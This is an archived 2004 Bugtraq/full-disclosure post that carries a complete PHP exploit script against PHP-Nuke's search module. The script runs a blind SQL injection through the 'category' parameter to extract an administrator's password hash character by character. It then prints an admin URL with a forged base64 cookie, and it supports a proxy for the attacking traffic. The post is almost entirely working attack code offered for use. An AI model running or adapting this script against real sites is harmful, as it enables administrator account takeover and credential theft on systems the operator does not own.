[33676] in bugtraq
phpnuke 6.9 search module exploit.
daemon@ATHENA.MIT.EDU (pokley)
Thu Feb 12 21:05:37 2004
To: full-disclosure@lists.netsys.com,
"bugtraq@securityfocus.com" <bugtraq@securityfocus.com>
From: pokley <pokleyzz@scan-associates.net>
Content-Type: multipart/mixed; boundary=----------1jVCv31dW7RhgH03K6GdkX
MIME-Version: 1.0
Date: Thu, 12 Feb 2004 14:18:17 +0800
Message-ID: <opr28ugrkvsmddlu@localhost>
------------1jVCv31dW7RhgH03K6GdkX
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this is exploit from search module for phpnuke 6.9 and below (possibly 7.x)
------------1jVCv31dW7RhgH03K6GdkX
Content-Disposition: attachment; filename=kejoraku_bersatu.php
Content-Type: application/octet-stream; name=kejoraku_bersatu.php
Content-Transfer-Encoding: 8bit
#!/usr/bin/php -q
PHPnuke 6.x and 5.x fetch author hash by pokleyzz <pokleyzz at scan-associates.net>
<?php
/*
# PHPnuke 6.x and 5.x fetch author hash by pokleyzz <pokleyzz at scan-associates.net>
# 27th December 2003 : 4:54 a.m
#
# bug found by pokleyzz (11th December 2003 ) for HITB 2003 security conference
# (Shame on You!!)
#
# Requirement:
# PHP 4.x with curl extension;
#
# Greet:
# tynon, sk ,wanvadder, sir_flyguy, wxyz , tenukboncit, kerengga_kurus ,
# s0cket370 , b0iler and ...
#
# Happy new year 2004 ...
#
# ----------------------------------------------------------------------------
# "TEH TARIK-WARE LICENSE" (Revision 1):
# wrote this file. As long as you retain this notice you
# can do whatever you want with this stuff. If we meet some day, and you think
# this stuff is worth it, you can buy me a "teh tarik" in return.
# ----------------------------------------------------------------------------
# (Base on Poul-Henning Kamp Beerware)
#
# Tribute to Search - "kejoraku bersatu.mp3"
#
*/
if (!(function_exists('curl_init'))) {
echo "cURL extension required\n";
exit;
}
ini_set("max_execution_time","999999");
$matches = "No matches found to your query";
//$url = "http://127.0.0.1/src/phpnuke441a/html";
$charmap = array (48,49,50,51,52,53,54,55,56,57,
97,98,99,100,101,102,
103,104,105,
106,107,108,109,110,111,112,113,
114,115,116,117,118,119,120,121,122
);
if($argv[1] && $argv[2]){
$url = $argv[1];
$author = $argv[2];
if ($argv[3])
$proxy = $argv[3];
}
else {
echo "Usage: ".$argv[0]." <URL> <aid> [proxy]\n\n";
echo "\tURL\t URL to phpnuke site (ex: http://127.0.0.1/html)\n";
echo "\taid\t author id to get (ex: god)\n";
echo "\tproxy\t optional proxy url (ex: http://10.10.10.10:8080)\n";
exit;
}
$search = "/modules.php?name=Search";
echo "Take your time for Teh Tarik... please wait ...\n\n";
echo "Result:\n";
echo "\t$author:";
$admin = $author.":";
$i =0;
$tmp = "char(";
while ($i < strlen($author)){
$tmp .= ord(substr($author,$i,1));
$i++;
if ($i < strlen($author)){
$tmp .= ",";
}
}
$tmp .= ")";
$author=$tmp;
for($i= 1;$i< 33;$i++){
foreach ($charmap as $char){
echo chr($char);
$postvar = "query=%25&category=99999+or+a.aid=$author+and+ascii(substring(a.pwd,$i,1))=$char";
$ch = curl_init();
if ($proxy){
curl_setopt($ch, CURLOPT_PROXY,$proxy);
}
curl_setopt($ch, CURLOPT_URL,$url.$search);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postvar);
$res=curl_exec ($ch);
curl_close ($ch);
if (!(ereg($matches,$res))){
//echo chr($char);
$admin .= chr($char);
break 1;
}
else {
echo chr(8);
}
if ($char ==103){
echo "\n\n\tNot Vulnerable or Something wrong occur ...\n";
exit;
}
}
}
$admin .= "::";
echo "\n\nAdmin URL:\n";
echo "\t$url/admin.php?admin=".ereg_replace("=","%3d",base64_encode($admin));
echo "\n";
echo "\n\nEnjoy your self and Happy New Year 2004....";
?>
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